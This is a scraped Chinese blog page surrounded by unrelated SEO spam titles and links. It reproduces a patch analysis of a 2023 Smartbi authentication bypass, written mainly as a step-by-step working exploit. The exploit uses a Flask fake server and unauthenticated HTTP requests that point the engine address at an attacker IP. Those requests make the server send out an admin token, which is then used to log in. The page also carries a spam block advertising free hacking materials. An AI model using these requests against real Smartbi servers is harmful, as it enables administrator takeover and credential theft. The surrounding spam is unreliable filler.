当前位置: 首页 > news >正文

it培训机构培训多久东莞seo建站公司哪家好

it培训机构培训多久,东莞seo建站公司哪家好,中山市路桥建设有限公司网站,西安seo工作室2023年7月28日Smartbi官方修复了一处权限绕过漏洞。未经授权的攻击者可利用该漏洞#xff0c;获取管理员token#xff0c;完全接管管理员权限。 于是研究了下相关补丁并进行分析。 0x01分析结果 依据补丁分析#xff0c;得到如下漏洞复现步骤 第一步#xff0c;设置Engi…2023年7月28日Smartbi官方修复了一处权限绕过漏洞。未经授权的攻击者可利用该漏洞获取管理员token完全接管管理员权限。 于是研究了下相关补丁并进行分析。 0x01分析结果 依据补丁分析得到如下漏洞复现步骤 第一步设置EngineAddress为攻击者机器上的http服务地址 首先使用python flask搭建一个fake server上面只注册了/api/v1/configs/engine/smartbitoken接口该接口返回一个json响应体 from flask import Flask,jsonify,requestapp Flask(__name__)app.route(/api/v1/configs/engine/smartbitoken,methods[POST]) def hello():print(request.json)return jsonify(hijello)if __name__ __main__:app.run(host0.0.0.0,port8000)使用如下poc设置EngineAddress为我们的fake server地址http://10.52.32.43:8000 POST /smartbi/smartbix/api/monitor/setEngineAddress/ HTTP/1.1 Host: 127.0.0.1:18080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q0.9,en;q0.8 Connection: close Content-Length: 23http://10.52.32.43:8000第二步触发smartbi向我们刚刚设置的EngineAddress外发token 发送如下请求 POST /smartbi//smartbix/api/monitor/token/ HTTP/1.1 Host: 127.0.0.1:18080 Cache-Control: max-age0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q0.9,en;q0.8 Connection: close Content-Length: 10experiment发送相关请求后即可在我们的fake server上面看到了携带token的请求 第三步使用上面获取的token进行登录 POST /smartbi//smartbix/api/monitor/login/ HTTP/1.1 Host: 127.0.0.1:18080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q0.9,en;q0.8 Connection: close Content-Length: 47admin_I8ac3b2d10189e80fe80fea750189ed0084f50082返回true表示登录成功其中的cookie就是合法的凭证 帮助网安学习全套资料S信免费领取 ① 网安学习成长路径思维导图 ② 60网安经典常用工具包 ③ 100SRC分析报告 ④ 150网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集含答案 ⑧ APP客户端安全检测指南安卓IOS 0x02分析过程 阅读相关补丁可知此次漏洞与/smartbix/api/monitor/setServiceAddress有关 更进一步查看RejectSmartbixSetAddress类修补的方式可知与smartbix.datamining.service.MonitorService类的getToken方法有关该补丁表示如果系统中smartbix.datamining.service.MonitorService存在getToken方法就进行拦截/smartbix/api/monitor/setEngineAddress等一系列接口的请求。 分析smartbix.datamining.service.MonitorService类 从头部的注解可知该类下的所有路由都不需要认证即可访问 定位到getToken方法 该方法对应的路由的/token,方法内部生成一个token并在输入的type参数为experiment是将该token发送到系统配置中配置的ENGINE_ADDRESS 这意味着只要ENGINE_ADDRESS可控那么我们就能获取到一个合法的token 由补丁包的路由/smartbix/api/monitor/setServiceAddress定位到setEngineAddress方法 可知该方法可以未授权配置ENGINE_ADDRESS 那意味着只需要调用/smartbix/api/monitor/setServiceAddress接口将ENGINE_ADDRESS设置为我们可控的伪造服务器那么就可以从请求报文中获取到token。 这个位置经过尝试发现伪造服务器上需要实现使用POST方法请求的/api/v1/configs/engine/smartbitoken接口并且响应内容为json) 获取完token后就可调用/smartbix/api/monitor/login方法进行登录 0x03其他说明 上述只说明了设置ENGINE_ADDRESS利用的情况设置SERVICE_ADDRESS进行利用的步骤也和上述类似
http://www.dnsts.com.cn/news/278029.html

相关文章:

  • 外贸网站建设招聘的网页设计培训班
  • 个人网站备案下载站网站怎样免费推广
  • 公司建一个网站多少钱宁夏建设局官方网站
  • 自贡网站制作网站域名续费
  • 响应式 学校网站模板自动生成作文网站
  • 专做装修的网站经典广告推广词
  • 买一个网站服务器多少钱软件工程师薪资
  • 在家帮别人做网站赚钱网络广告投放网站
  • qqip.探测网站建设做学校后台网站
  • 南昌网站搭建建设定制黄骅港招聘贴吧最新招聘
  • 7个免费的ui素材网站住房和城乡建设部网站主页
  • 网站分页制作物流网站开发实训
  • o2o分销系统网站建设购物网站开发多少钱
  • 电商网站建设心得体会安庆做网站
  • 教育网站案例88个seo网站优化基础知识点
  • 如何将软件上传到公开网站微网站如何建立的
  • 注册网站会不会有问题广西住房和城乡建设厅网站
  • 提升了自己的网站深圳市网站建设做网站
  • 查询网站是否正规建设高流量网站
  • 哪个网站可以做代销不适合学编程的人
  • 深圳小企业网站建设百度联盟广告关闭
  • 电子商务网站建设 以为例九江做网站哪家好
  • 深圳建设网站公司哪儿济南兴田德润有活动吗网站绑定微信公众号
  • 怎样给公司申请一个网站成都住建局官网报名入口
  • 纺织品服装网站建设优化dark ui wordpress
  • 国际外贸网站建设wordpress需要伪静态吗
  • 最牛的html5网站建设青岛 网站制作公司
  • 天气预报网站开发安卓5 wordpress
  • 做外贸的有哪些网站有哪些大连推广
  • 怎么做付费的小说网站如何做网站海报